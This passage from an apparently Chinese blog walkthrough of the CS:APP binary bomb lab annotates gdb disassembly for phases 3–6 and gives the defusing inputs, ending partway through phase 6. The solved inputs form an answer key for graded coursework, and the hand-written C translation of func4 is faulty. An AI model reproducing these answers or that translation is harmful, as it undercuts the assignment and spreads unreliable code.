&#x3C;+97>:	jmp    0x400fbe &#x3C;phase_3+123></div><div class="code-line numbered-code-line" data-line-number="31">   0x0000000000400fa6 &#x3C;+99>:	mov    $0x147,%eax</div><div class="code-line numbered-code-line" data-line-number="32">   0x0000000000400fab &#x3C;+104>:	jmp    0x400fbe &#x3C;phase_3+123></div><div class="code-line numbered-code-line" data-line-number="33">   0x0000000000400fad &#x3C;+106>:	callq  0x40143a &#x3C;explode_bomb></div><div class="code-line numbered-code-line" data-line-number="34">   0x0000000000400fb2 &#x3C;+111>:	mov    $0x0,%eax</div><div class="code-line numbered-code-line" data-line-number="35">   0x0000000000400fb7 &#x3C;+116>:	jmp    0x400fbe &#x3C;phase_3+123></div><div class="code-line numbered-code-line" data-line-number="36">   0x0000000000400fb9 &#x3C;+118>:	mov    $0x137,%eax</div><div class="code-line numbered-code-line" data-line-number="37">         # ️这里会比较%rsp+12的值（可以发现就是我们输入的第二个值）和%eax中的数据是否相等，一样的话就跳过爆炸点。</div><div class="code-line numbered-code-line" data-line-number="38">   0x0000000000400fbe &#x3C;+123>:	cmp    0xc(%rsp),%eax</div><div class="code-line numbered-code-line" data-line-number="39">   0x0000000000400fc2 &#x3C;+127>:	je     0x400fc9 &#x3C;phase_3+134></div><div class="code-line numbered-code-line" data-line-number="40">   0x0000000000400fc4 &#x3C;+129>:	callq  0x40143a &#x3C;explode_bomb></div><div class="code-line numbered-code-line" data-line-number="41">   0x0000000000400fc9 &#x3C;+134>:	add    $0x18,%rsp</div><div class="code-line numbered-code-line" data-line-number="42">   0x0000000000400fcd &#x3C;+138>:	retq</div><div class="code-line numbered-code-line" data-line-number="43">End of assembler dump.</div></code></pre>
<p>分析已经插入在了汇编代码中。中间的<code>switch</code>语句可以通过输入不同的值和断点来探索出对应跳转的地方。比如我在这里第一个数字为 2 后，将断点设置在<code>print /x *(0x402470 + 16)</code>
显示出来的位置，可以发现程序跳转到了 <code>=> 0x0000000000400f83 &#x3C;+64>:	mov    $0x2c3,%eax</code>的语句。</p>
<p>这里的 0x2c3 就应该是第二个数的答案。转换为十进制为 707。可以推测这个题目一共有八个解答，只要输入的第二个数字和第一个数字对应的跳转关系相对应即可。进一步多次解析，可以得到第三个炸弹答案表如下：</p>
<table>
<thead>
<tr>
<th>第一个数字</th>
<th>跳转到的语句</th>
<th>第二个数字</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>400f7c &#x3C;+57>:	mov    $0xcf,%eax</td>
<td>207</td>
</tr>
<tr>
<td>1</td>
<td>400fb9 &#x3C;+118>:	mov    $0x137,%eax</td>
<td>311</td>
</tr>
<tr>
<td>2</td>
<td>400f83 &#x3C;+64>:	mov    $0x2c3,%eax</td>
<td>707</td>
</tr>
<tr>
<td>3</td>
<td>400f8a &#x3C;+71>:	mov    $0x100,%eax</td>
<td>256</td>
</tr>
<tr>
<td>4</td>
<td>400f91 &#x3C;+78>:	mov    $0x185,%eax</td>
<td>389</td>
</tr>
<tr>
<td>5</td>
<td>400f98 &#x3C;+85>:	mov    $0xce,%eax</td>
<td>206</td>
</tr>
<tr>
<td>6</td>
<td>400f9f &#x3C;+92>:	mov    $0x2aa,%eax</td>
<td>682</td>
</tr>
<tr>
<td>7</td>
<td>400fa6 &#x3C;+99>:	mov    $0x147,%eax</td>
<td>327</td>
</tr>
</tbody>
</table>
<h2 id="phase-4"><a href="#phase-4">Phase 4</a></h2>
<p>汇编代码及分析如下：</p>
<pre><code class="hljs language-s" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">Dump of assembler code for function phase_4:</div><div class="code-line numbered-code-line" data-line-number="2">=> 0x000000000040100c &#x3C;+0>:	sub    $0x18,%rsp</div><div class="code-line numbered-code-line" data-line-number="3">   0x0000000000401010 &#x3C;+4>:	lea    0xc(%rsp),%rcx</div><div class="code-line numbered-code-line" data-line-number="4">   0x0000000000401015 &#x3C;+9>:	lea    0x8(%rsp),%rdx</div><div class="code-line numbered-code-line" data-line-number="5">      # ️查看scanf的格式化输入（在0x4025cf）可得到"%d %d"，所以需要输入两个整形数据。</div><div class="code-line numbered-code-line" data-line-number="6">   0x000000000040101a &#x3C;+14>:	mov    $0x4025cf,%esi</div><div class="code-line numbered-code-line" data-line-number="7">   0x000000000040101f &#x3C;+19>:	mov    $0x0,%eax</div><div class="code-line numbered-code-line" data-line-number="8">   0x0000000000401024 &#x3C;+24>:	callq  0x400bf0 &#x3C;__isoc99_sscanf@plt></div><div class="code-line numbered-code-line" data-line-number="9">      # ️必须输入两个数据，否则就会直接跳转到爆炸点。</div><div class="code-line numbered-code-line" data-line-number="10">   0x0000000000401029 &#x3C;+29>:	cmp    $0x2,%eax</div><div class="code-line numbered-code-line" data-line-number="11">   0x000000000040102c &#x3C;+32>:	jne    0x401035 &#x3C;phase_4+41></div><div class="code-line numbered-code-line" data-line-number="12">      # ️比较0xe和输入的第一个数据的大小，数据必须要小于或等于0xe(14)才能跳过爆炸点</div><div class="code-line numbered-code-line" data-line-number="13">   0x000000000040102e &#x3C;+34>:	cmpl   $0xe,0x8(%rsp)</div><div class="code-line numbered-code-line" data-line-number="14">   0x0000000000401033 &#x3C;+39>:	jbe    0x40103a &#x3C;phase_4+46></div><div class="code-line numbered-code-line" data-line-number="15">   0x0000000000401035 &#x3C;+41>:	callq  0x40143a &#x3C;explode_bomb></div><div class="code-line numbered-code-line" data-line-number="16">   0x000000000040103a &#x3C;+46>:	mov    $0xe,%edx</div><div class="code-line numbered-code-line" data-line-number="17">   0x000000000040103f &#x3C;+51>:	mov    $0x0,%esi</div><div class="code-line numbered-code-line" data-line-number="18">   0x0000000000401044 &#x3C;+56>:	mov    0x8(%rsp),%edi</div><div class="code-line numbered-code-line" data-line-number="19">      # ️调用fuc4函数，此时edx等于14，esi等于0，edi等于输入的第一个数x，</div><div class="code-line numbered-code-line" data-line-number="20">         相当于调用func4(x, 0, 14)</div><div class="code-line numbered-code-line" data-line-number="21">   0x0000000000401048 &#x3C;+60>:	callq  0x400fce &#x3C;func4></div><div class="code-line numbered-code-line" data-line-number="22">   0x000000000040104d &#x3C;+65>:	test   %eax,%eax</div><div class="code-line numbered-code-line" data-line-number="23">      # ️测试func4返回值是否为0。如果不为0的话会直接跳到爆炸点。</div><div class="code-line numbered-code-line" data-line-number="24">   0x000000000040104f &#x3C;+67>:	jne    0x401058 &#x3C;phase_4+76></div><div class="code-line numbered-code-line" data-line-number="25">      # ️比较rp+12，应该是第二个数字是否为0，如果为0的话可以跳过爆炸点。</div><div class="code-line numbered-code-line" data-line-number="26">   0x0000000000401051 &#x3C;+69>:	cmpl   $0x0,0xc(%rsp)</div><div class="code-line numbered-code-line" data-line-number="27">   0x0000000000401056 &#x3C;+74>:	je     0x40105d &#x3C;phase_4+81></div><div class="code-line numbered-code-line" data-line-number="28">   0x0000000000401058 &#x3C;+76>:	callq  0x40143a &#x3C;explode_bomb></div><div class="code-line numbered-code-line" data-line-number="29">   0x000000000040105d &#x3C;+81>:	add    $0x18,%rsp</div><div class="code-line numbered-code-line" data-line-number="30">   0x0000000000401061 &#x3C;+85>:	retq</div><div class="code-line numbered-code-line" data-line-number="31">End of assembler dump.</div></code></pre>
<p>发现 + 60 处会调用 func4 函数，反汇编 func4 如下。在 func4 内部还会再次调用 func4，可以看出这是一个递归的函数过程，进一步分析：</p>
<pre><code class="hljs language-s" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">(gdb) disas func4</div><div class="code-line numbered-code-line" data-line-number="2">Dump of assembler code for function func4:</div><div class="code-line numbered-code-line" data-line-number="3">   0x0000000000400fce &#x3C;+0>:	sub    $0x8,%rsp</div><div class="code-line numbered-code-line" data-line-number="4">   0x0000000000400fd2 &#x3C;+4>:	mov    %edx,%eax</div><div class="code-line numbered-code-line" data-line-number="5">   0x0000000000400fd4 &#x3C;+6>:	sub    %esi,%eax</div><div class="code-line numbered-code-line" data-line-number="6">   0x0000000000400fd6 &#x3C;+8>:	mov    %eax,%ecx</div><div class="code-line numbered-code-line" data-line-number="7">      # ️将%ecx右移31位（可以用来判断eax的正负，比较第二个参数和第三个参数的大小</div><div class="code-line numbered-code-line" data-line-number="8">   0x0000000000400fd8 &#x3C;+10>:	shr    $0x1f,%ecx</div><div class="code-line numbered-code-line" data-line-number="9">   0x0000000000400fdb &#x3C;+13>:	add    %ecx,%eax</div><div class="code-line numbered-code-line" data-line-number="10">      # ️将eax算数右移一位，即除以2</div><div class="code-line numbered-code-line" data-line-number="11">   0x0000000000400fdd &#x3C;+15>:	sar    %eax</div><div class="code-line numbered-code-line" data-line-number="12">   0x0000000000400fdf &#x3C;+17>:	lea    (%rax,%rsi,1),%ecx</div><div class="code-line numbered-code-line" data-line-number="13">   0x0000000000400fe2 &#x3C;+20>:	cmp    %edi,%ecx</div><div class="code-line numbered-code-line" data-line-number="14">      # ️如果%ecx小于%edi就跳转到36并把返回值设置为0。</div><div class="code-line numbered-code-line" data-line-number="15">   0x0000000000400fe4 &#x3C;+22>:	jle    0x400ff2 &#x3C;func4+36></div><div class="code-line numbered-code-line" data-line-number="16">      # 否则将rcx减去1传给edx。</div><div class="code-line numbered-code-line" data-line-number="17">         相当于递归调用</div><div class="code-line numbered-code-line" data-line-number="18">   0x0000000000400fe6 &#x3C;+24>:	lea    -0x1(%rcx),%edx</div><div class="code-line numbered-code-line" data-line-number="19">   0x0000000000400fe9 &#x3C;+27>:	callq  0x400fce &#x3C;func4></div><div class="code-line numbered-code-line" data-line-number="20">   0x0000000000400fee &#x3C;+32>:	add    %eax,%eax</div><div class="code-line numbered-code-line" data-line-number="21">   0x0000000000400ff0 &#x3C;+34>:	jmp    0x401007 &#x3C;func4+57></div><div class="code-line numbered-code-line" data-line-number="22">   0x0000000000400ff2 &#x3C;+36>:	mov    $0x0,%eax</div><div class="code-line numbered-code-line" data-line-number="23">   0x0000000000400ff7 &#x3C;+41>:	cmp    %edi,%ecx</div><div class="code-line numbered-code-line" data-line-number="24">      # ️如果%ecx大于%edi就结束函数，否则继续调用下一层递归。</div><div class="code-line numbered-code-line" data-line-number="25">   0x0000000000400ff9 &#x3C;+43>:	jge    0x401007 &#x3C;func4+57></div><div class="code-line numbered-code-line" data-line-number="26">      # ️把%rcx + 1 传递到%esi中，作为下一个func4的参数。</div><div class="code-line numbered-code-line" data-line-number="27">   0x0000000000400ffb &#x3C;+45>:	lea    0x1(%rcx),%esi</div><div class="code-line numbered-code-line" data-line-number="28">   0x0000000000400ffe &#x3C;+48>:	callq  0x400fce &#x3C;func4></div><div class="code-line numbered-code-line" data-line-number="29">   0x0000000000401003 &#x3C;+53>:	lea    0x1(%rax,%rax,1),%eax</div><div class="code-line numbered-code-line" data-line-number="30">   0x0000000000401007 &#x3C;+57>:	add    $0x8,%rsp</div><div class="code-line numbered-code-line" data-line-number="31">   0x000000000040100b &#x3C;+61>:	retq</div><div class="code-line numbered-code-line" data-line-number="32">End of assembler dump.</div></code></pre>
<p>结构比较复杂，尝试逐行翻译成 C 语言代码如下：</p>
<pre><code class="hljs language-c" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">func4(x, <span class="hljs-number">0</span> ,<span class="hljs-number">14</span>)</div><div class="code-line numbered-code-line" data-line-number="2"><span class="hljs-type">int</span> <span class="hljs-title function_">func4</span>(<span class="hljs-params hljs-type">int</span> a, <span class="hljs-params hljs-type">int</span> b, <span class="hljs-params hljs-type">int</span> c){</div><div class="code-line numbered-code-line" data-line-number="3">    <span class="hljs-comment">// t in %eax , q in % ecx</span></div><div class="code-line numbered-code-line" data-line-number="4">    <span class="hljs-comment">// a in %rdi, b in %rsi, c in %rdx</span></div><div class="code-line numbered-code-line" data-line-number="5">    <span class="hljs-type">int</span> t = c;</div><div class="code-line numbered-code-line" data-line-number="6">    t = t - b;</div><div class="code-line numbered-code-line" data-line-number="7">    <span class="hljs-type">int</span> q = t;</div><div class="code-line numbered-code-line" data-line-number="8">    q = q >> <span class="hljs-number">31</span>;</div><div class="code-line numbered-code-line" data-line-number="9">    t = t + q;</div><div class="code-line numbered-code-line" data-line-number="10">    t = t/<span class="hljs-number">2</span>;</div><div class="code-line numbered-code-line" data-line-number="11">    q = t + b;</div><div class="code-line numbered-code-line" data-line-number="12">    <span class="hljs-keyword">if</span> (q &#x3C;= a){</div><div class="code-line numbered-code-line" data-line-number="13">        t = <span class="hljs-number">0</span>;</div><div class="code-line numbered-code-line" data-line-number="14">        <span class="hljs-keyword">if</span> (q >= a){</div><div class="code-line numbered-code-line" data-line-number="15">            <span class="hljs-keyword">return</span> t;</div><div class="code-line numbered-code-line" data-line-number="16">        }</div><div class="code-line numbered-code-line" data-line-number="17">        <span class="hljs-keyword">else</span>{</div><div class="code-line numbered-code-line" data-line-number="18">            b = q + <span class="hljs-number">1</span>;</div><div class="code-line numbered-code-line" data-line-number="19">            func4(a, b, c);</div><div class="code-line numbered-code-line" data-line-number="20">        }</div><div class="code-line numbered-code-line" data-line-number="21">    }</div><div class="code-line numbered-code-line" data-line-number="22">    <span class="hljs-keyword">else</span>{</div><div class="code-line numbered-code-line" data-line-number="23">        c = q - <span class="hljs-number">1</span>;</div><div class="code-line numbered-code-line" data-line-number="24">        func4(a, b, c);</div><div class="code-line numbered-code-line" data-line-number="25">        t = <span class="hljs-number">2</span>t;</div><div class="code-line numbered-code-line" data-line-number="26">    }</div><div class="code-line numbered-code-line" data-line-number="27">    <span class="hljs-keyword">return</span> t;</div><div class="code-line numbered-code-line" data-line-number="28">}</div></code></pre>
<p>分析发现第一次运行的时候，q 会被赋值为 7，而当 x=7 的时候可以直接跳过递归部分，解除炸弹。所以答案为：</p>
<blockquote>
<p>7 0</p>
</blockquote>
<h2 id="phase-5"><a href="#phase-5">Phase 5</a></h2>
<p>汇编代码如下：</p>
<pre><code class="hljs language-s" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">(gdb) disas phase_5</div><div class="code-line numbered-code-line" data-line-number="2">Dump of assembler code for function phase_5:</div><div class="code-line numbered-code-line" data-line-number="3">   0x0000000000401062 &#x3C;+0>:	push   %rbx</div><div class="code-line numbered-code-line" data-line-number="4">   0x0000000000401063 &#x3C;+1>:	sub    $0x20,%rsp</div><div class="code-line numbered-code-line" data-line-number="5">   0x0000000000401067 &#x3C;+5>:	mov    %rdi,%rbx</div><div class="code-line numbered-code-line" data-line-number="6">   0x000000000040106a &#x3C;+8>:	mov    %fs:0x28,%rax</div><div class="code-line numbered-code-line" data-line-number="7">   0x0000000000401073 &#x3C;+17>:	mov    %rax,0x18(%rsp)</div><div class="code-line numbered-code-line" data-line-number="8">   0x0000000000401078 &#x3C;+22>:	xor    %eax,%eax</div><div class="code-line numbered-code-line" data-line-number="9">   0x000000000040107a &#x3C;+24>:	callq  0x40131b &#x3C;string_length></div><div class="code-line numbered-code-line" data-line-number="10">   0x000000000040107f &#x3C;+29>:	cmp    $0x6,%eax</div><div class="code-line numbered-code-line" data-line-number="11">   0x0000000000401082 &#x3C;+32>:	je     0x4010d2 &#x3C;phase_5+112></div><div class="code-line numbered-code-line" data-line-number="12">      # ️这里有一个爆炸点，上面的函数为string_length，所以推断应该输入长度为6的字符串。</div><div class="code-line numbered-code-line" data-line-number="13">   0x0000000000401084 &#x3C;+34>:	callq  0x40143a &#x3C;explode_bomb></div><div class="code-line numbered-code-line" data-line-number="14">   0x0000000000401089 &#x3C;+39>:	jmp    0x4010d2 &#x3C;phase_5+112></div><div class="code-line numbered-code-line" data-line-number="15">   0x000000000040108b &#x3C;+41>:	movzbl (%rbx,%rax,1),%ecx</div><div class="code-line numbered-code-line" data-line-number="16">   0x000000000040108f &#x3C;+45>:	mov    %cl,(%rsp)</div><div class="code-line numbered-code-line" data-line-number="17">   0x0000000000401092 &#x3C;+48>:	mov    (%rsp),%rdx</div><div class="code-line numbered-code-line" data-line-number="18">      # 将传入的%edx和0xf做与运算，相当于只保留这一个字符的ASCII码的最后的4位。</div><div class="code-line numbered-code-line" data-line-number="19">   0x0000000000401096 &#x3C;+52>:	and    $0xf,%edx</div><div class="code-line numbered-code-line" data-line-number="20">      # ️movzbl为做了0扩展的字节传送，0x4024b0 存储的是一个字符串。这里用%rdx的偏移量将字符串中的某一个字符传递到edx中。。</div><div class="code-line numbered-code-line" data-line-number="21">   0x0000000000401099 &#x3C;+55>:	movzbl 0x4024b0(%rdx),%edx</div><div class="code-line numbered-code-line" data-line-number="22">   0x00000000004010a0 &#x3C;+62>:	mov    %dl,0x10(%rsp,%rax,1)</div><div class="code-line numbered-code-line" data-line-number="23">      # ️rax加一，作为循环的计数器。循环6次以后跳出。</div><div class="code-line numbered-code-line" data-line-number="24">   0x00000000004010a4 &#x3C;+66>:	add    $0x1,%rax</div><div class="code-line numbered-code-line" data-line-number="25">   0x00000000004010a8 &#x3C;+70>:	cmp    $0x6,%rax</div><div class="code-line numbered-code-line" data-line-number="26">   0x00000000004010ac &#x3C;+74>:	jne    0x40108b &#x3C;phase_5+41></div><div class="code-line numbered-code-line" data-line-number="27">   0x00000000004010ae &#x3C;+76>:	movb   $0x0,0x16(%rsp)</div><div class="code-line numbered-code-line" data-line-number="28">   0x00000000004010b3 &#x3C;+81>:	mov    $0x40245e,%esi</div><div class="code-line numbered-code-line" data-line-number="29">   0x00000000004010b8 &#x3C;+86>:	lea    0x10(%rsp),%rdi</div><div class="code-line numbered-code-line" data-line-number="30">      # 比较%rsp里存储的字符串是否与0x4025e相等。</div><div class="code-line numbered-code-line" data-line-number="31">   0x00000000004010bd &#x3C;+91>:	callq  0x401338 &#x3C;strings_not_equal></div><div class="code-line numbered-code-line" data-line-number="32">   0x00000000004010c2 &#x3C;+96>:	test   %eax,%eax</div><div class="code-line numbered-code-line" data-line-number="33">      # ️eax必须等于0（字符串相等），否则爆炸。</div><div class="code-line numbered-code-line" data-line-number="34">   0x00000000004010c4 &#x3C;+98>:	je     0x4010d9 &#x3C;phase_5+119></div><div class="code-line numbered-code-line" data-line-number="35">   0x00000000004010c6 &#x3C;+100>:	callq  0x40143a &#x3C;explode_bomb></div><div class="code-line numbered-code-line" data-line-number="36">   0x00000000004010cb &#x3C;+105>:	nopl   0x0(%rax,%rax,1)</div><div class="code-line numbered-code-line" data-line-number="37">   0x00000000004010d0 &#x3C;+110>:	jmp    0x4010d9 &#x3C;phase_5+119></div><div class="code-line numbered-code-line" data-line-number="38">   0x00000000004010d2 &#x3C;+112>:	mov    $0x0,%eax</div><div class="code-line numbered-code-line" data-line-number="39">   0x00000000004010d7 &#x3C;+117>:	jmp    0x40108b &#x3C;phase_5+41></div><div class="code-line numbered-code-line" data-line-number="40">   0x00000000004010d9 &#x3C;+119>:	mov    0x18(%rsp),%rax</div><div class="code-line numbered-code-line" data-line-number="41">   0x00000000004010de &#x3C;+124>:	xor    %fs:0x28,%rax</div><div class="code-line numbered-code-line" data-line-number="42">   0x00000000004010e7 &#x3C;+133>:	je     0x4010ee &#x3C;phase_5+140></div><div class="code-line numbered-code-line" data-line-number="43">   0x00000000004010e9 &#x3C;+135>:	callq  0x400b30 &#x3C;__stack_chk_fail@plt></div><div class="code-line numbered-code-line" data-line-number="44">   0x00000000004010ee &#x3C;+140>:	add    $0x20,%rsp</div><div class="code-line numbered-code-line" data-line-number="45">   0x00000000004010f2 &#x3C;+144>:	pop    %rbx</div><div class="code-line numbered-code-line" data-line-number="46">   0x00000000004010f3 &#x3C;+145>:	retq</div><div class="code-line numbered-code-line" data-line-number="47">End of assembler dump.</div></code></pre>
<p>可以看到 0x4024b0 里存储了一个字符串：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-163958.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-163958.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<p>0x245e 里也存储了一个字符串：</p>
<img src='https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-2019-04-17-18-10-38.png' width = 300px>
<p>确定必须输入长度为 6 的字符串之后，随便输入 fgr123，执行到 + 55 行。由于使用了 % cl 这种只能存储 char 类型的寄存器，所以继续用<code>print /c</code> 探索寄存器里的数据：</p>
<img src='https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-2019-04-17-18-08-03.png' width = 200px>
<p>探索核心语句<code>movzbl 0x4024b0(%rdx),%edx</code>和<code>mov    %dl,0x10(%rsp,%rax,1)</code>。在这里输入的第一个字符为 f，他的二进制 ASCII 码为 0x66，二进制为 0110 0110：</p>
<img src='https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-2019-04-17-18-31-15.png' width = 400px>
<p>取后四位，0110 是十进制的 6，用 6 做索引，取 string [6]，得到字符<code>'r'</code>，正好是寄存器 % dl 里存储的字符。</p>
<p>所以以此类推，可以得到 phase5 的逻辑大致如下：</p>
<ul>
<li>读取长度为 6 的字符串</li>
<li>逐个字符读取，取每一个字符的 ASCII 码的后 4 位</li>
<li>以这后 4 为作为索引，取 0x4024b0 中的第 n 个字符，并将这一个字符存入到<code>0x10(%rsp)</code>中</li>
<li>循环 6 次，依次读取</li>
<li>将最后得到的字符串<code>0x10(%rsp)</code>同<code>flyers</code>比较，相同则通过。</li>
</ul>
<p>由于后 4 位的二进制数能存储的最大数字为 15，所以能够起到作用的只有长字符串的前 16 位，必须要在前 16 位中查找。</p>
<p><code>flyers</code>每个字母在字符串中的序列依次为：<strong>9 15 14 5 6 7</strong>。依次转换成二进制为：
<strong>1001 1111 1110 0101 0110 0111</strong>。所以需要找 6 个字符，他们的 ASCII 码的二进制后 4 位满足以上序列就可以了。</p>
<p>拿来一张具有二进制表示的 ASCII 码表：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-163959.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-163959.png" alt="" loading="lazy" data-wrapped="true"></a>
可以得到一个答案为：</p>
<blockquote>
<p>ION567</p>
</blockquote>
<h2 id="phase-6"><a href="#phase-6">Phase 6</a></h2>
<p>得到巨大的汇编代码（实在是太可怕了），所以拆分开来，分成几个部分分析：</p>
<pre><code class="hljs language-s" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">Dump of assembler code for function phase_6:</div><div class="code-line numbered-code-line" data-line-number="2">   0x00000000004010f4 &#x3C;+0>:	push   %r14</div><div class="code-line numbered-code-line" data-line-number="3">   0x00000000004010f6 &#x3C;+2>:	push   %r13</div><div class="code-line numbered-code-line" data-line-number="4">   0x00000000004010f8 &#x3C;+4>:	push   %r12</div><div class="code-line numbered-code-line" data-line-number="5">   0x00000000004010fa &#x3C;+6>:	push   %rbp</div><div class="code-line numbered-code-line" data-line-number="6">   0x00000000004010fb &#x3C;+7>:	push   %rbx</div><div class="code-line numbered-code-line" data-line-number="7">   0x00000000004010fc &#x3C;+8>:	sub    $0x50,%rsp</div><div class="code-line numbered-code-line" data-line-number="8">   0x0000000000401100 &#x3C;+12>:	mov    %rsp,%r13</div><div class="code-line numbered-code-line" data-line-number="9">   0x0000000000401103 &#x3C;+15>:	mov    %rsp,%rsi</div><div class="code-line numbered-code-line" data-line-number="10">   0x0000000000401106 &#x3C;+18>:	callq  0x40145c &#x3C;read_six_numbers></div><div class="code-line numbered-code-line" data-line-number="11">      # r14里存储了数组的初始化地址</div><div class="code-line numbered-code-line" data-line-number="12">   0x000000000040110b &#x3C;+23>:	mov    %rsp,%r14</div></code></pre>
<p>发现同样是读取了六个数字，所以随便输入 1 2 3 4 5 6，发现这里取了六个整数并存储在栈帧里：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-2019-04-18-01-43-58.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-2019-04-18-01-43-58.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<pre><code class="hljs language-s" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">   0x000000000040110e &#x3C;+26>:	mov    $0x0,%r12d</div><div class="code-line numbered-code-line" data-line-number="2">   0x0000000000401114 &#x3C;+32>:	mov    %r13,%rbp</div><div class="code-line numbered-code-line" data-line-number="3">   0x0000000000401117 &#x3C;+35>:	mov    0x0(%r13),%eax</div><div class="code-line numbered-code-line" data-line-number="4">      # %eax减1后和5比较</div><div class="code-line numbered-code-line" data-line-number="5">   0x000000000040111b &#x3C;+39>:	sub    $0x1,%eax</div><div class="code-line numbered-code-line" data-line-number="6">   0x000000000040111e &#x3C;+42>:	cmp    $0x5,%eax</div><div class="code-line numbered-code-line" data-line-number="7">      # 如果任何一个数字小于等于5，则跳过爆炸点</div><div class="code-line numbered-code-line" data-line-number="8">   0x0000000000401121 &#x3C;+45>:	jbe    0x401128 &#x3C;phase_6+52></div><div class="code-line numbered-code-line" data-line-number="9">   0x0000000000401123 &#x3C;+47>:	callq  0x40143a &#x3C;explode_bomb></div></code></pre>
<p>目前为止读取了 6 个数字，必须是在 1~6 之间。</p>
<pre><code class="hljs language-s" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">   0x0000000000401128 &#x3C;+52>:	add    $0x1,%r12d</div><div class="code-line numbered-code-line" data-line-number="2">   0x000000000040112c &#x3C;+56>:	cmp    $0x6,%r12d</div><div class="code-line numbered-code-line" data-line-number="3">   0x0000000000401130 &#x3C;+60>:	je     0x401153 &#x3C;phase_6+95></div><div class="code-line numbered-code-line" data-line-number="4">      #%ebx在这里是数组指针，后面会被存储在%rax中。</div><div class="code-line numbered-code-line" data-line-number="5">   0x0000000000401132 &#x3C;+62>:	mov    %r12d,%ebx</div><div class="code-line numbered-code-line" data-line-number="6">   0x0000000000401135 &#x3C;+65>:	movslq %ebx,%rax</div><div class="code-line numbered-code-line" data-line-number="7">   0x0000000000401138 &#x3C;+68>:	mov    (%rsp,%rax,4),%eax</div><div class="code-line numbered-code-line" data-line-number="8">      # 判断下一个元素是否和%rax指向的元素相等，如果相等就爆炸。</div><div class="code-line numbered-code-line" data-line-number="9">   0x000000000040113b &#x3C;+71>:	cmp    %eax,0x0(%rbp)</div><div class="code-line numbered-code-line" data-line-number="10">   0x000000000040113e &#x3C;+74>:	jne    0x401145 &#x3C;phase_6+81></div><div class="code-line numbered-code-line" data-line-number="11">   0x0000000000401140 &#x3C;+76>:	callq  0x40143a &#x3C;explode_bomb></div><div class="code-line numbered-code-line" data-line-number="12">   0x0000000000401145 &#x3C;+81>:	add    $0x1,%ebx</div><div class="code-line numbered-code-line" data-line-number="13">      # 判断数组下标是否到达了5</div><div class="code-line numbered-code-line" data-line-number="14">   0x0000000000401148 &#x3C;+84>:	cmp    $0x5,%ebx</div><div class="code-line numbered-code-line" data-line-number="15">   0x000000000040114b &#x3C;+87>:	jle    0x401135 &#x3C;phase_6+65></div><div class="code-line numbered-code-line" data-line-number="16">   0x000000000040114d &#x3C;+89>:	add    $0x4,%r13</div><div class="code-line numbered-code-line" data-line-number="17">   0x0000000000401151 &#x3C;+93>:	jmp    0x401114 &#x3C;phase_6+32></div></code></pre>
<p>这一部分用于判断数组 6 个数是否存在重复值，若存在则引爆炸弹。这里是一个循环结构，分别将每一个元素和数组后面的所有元素进行比较。</p>
<pre><code class="hljs language-s" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">      #把数组最后一个元素的位置传给了%rsi。</div><div class="code-line numbered-code-line" data-line-number="2">   0x0000000000401153 &#x3C;+95>:	lea    0x18(%rsp),%rsi</div><div class="code-line numbered-code-line" data-line-number="3">   0x0000000000401158 &#x3C;+100>:	mov    %r14,%rax</div><div class="code-line numbered-code-line" data-line-number="4">      # 用7减去每一个元素</div><div class="code-line numbered-code-line" data-line-number="5">   0x000000000040115b &#x3C;+103>:	mov    $0x7,%ecx</div><div class="code-line numbered-code-line" data-line-number="6">   0x0000000000401160 &#x3C;+108>:	mov    %ecx,%edx</div><div class="code-line numbered-code-line" data-line-number="7">   0x0000000000401162 &#x3C;+110>:	sub    (%rax),%edx</div><div class="code-line numbered-code-line" data-line-number="8">   0x0000000000401164 &#x3C;+112>:	mov    %edx,(%rax)</div><div class="code-line numbered-code-line" data-line-number="9">   0x0000000000401166 &#x3C;+114>:	add    $0x4,%rax</div><div class="code-line numbered-code-line" data-line-number="10">      # 比较%rax是否指向了数组末尾的位置，如果到达就跳出循环。</div><div class="code-line numbered-code-line" data-line-number="11">   0x000000000040116a &#x3C;+118>:	cmp    %rsi,%rax</div><div class="code-line numbered-code-line" data-line-number="12">   0x000000000040116d &#x3C;+121>:	jne    0x401160 &#x3C;phase_6+108></div></code></pre>
<p>上面这一部分把数组的每个数字用 7 去减。目的不明（？</p>
<pre><code class="hljs language-s" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">       # 将%esi初始化为0，作为数组下标</div><div class="code-line numbered-code-line" data-line-number="2">   0x000000000040116f &#x3C;+123>:	mov    $0x0,%esi</div><div class="code-line numbered-code-line" data-line-number="3">   0x0000000000401174 &#x3C;+128>:	jmp    0x401197 &#x3C;phase_6+163></div><div class="code-line numbered-code-line" data-line-number="4">      # 偏移量为8，类似于 p = p -> next</div><div class="code-line numbered-code-line" data-line-number="5">   0x0000000000401176 &#x3C;+130>:	mov    0x8(%rdx),%rdx</div><div class="code-line numbered-code-line" data-line-number="6">   0x000000000040117a &#x3C;+134>:	add    $0x1,%eax</div><div class="code-line numbered-code-line" data-line-number="7">      # 在第一次循环里，判断栈里的第一个数字判断是否为1，如果是1，就把0x6032d0放在栈里，否则就对下一个数字进行判断。</div><div class="code-line numbered-code-line" data-line-number="8">   0x000000000040117d &#x3C;+137>:	cmp    %ecx,%eax</div><div class="code-line numbered-code-line" data-line-number="9">   0x000000000040117f &#x3C;+139>:	jne    0x401176 &#x3C;phase_6+130></div><div class="code-line numbered-code-line" data-line-number="10">   0x0000000000401181 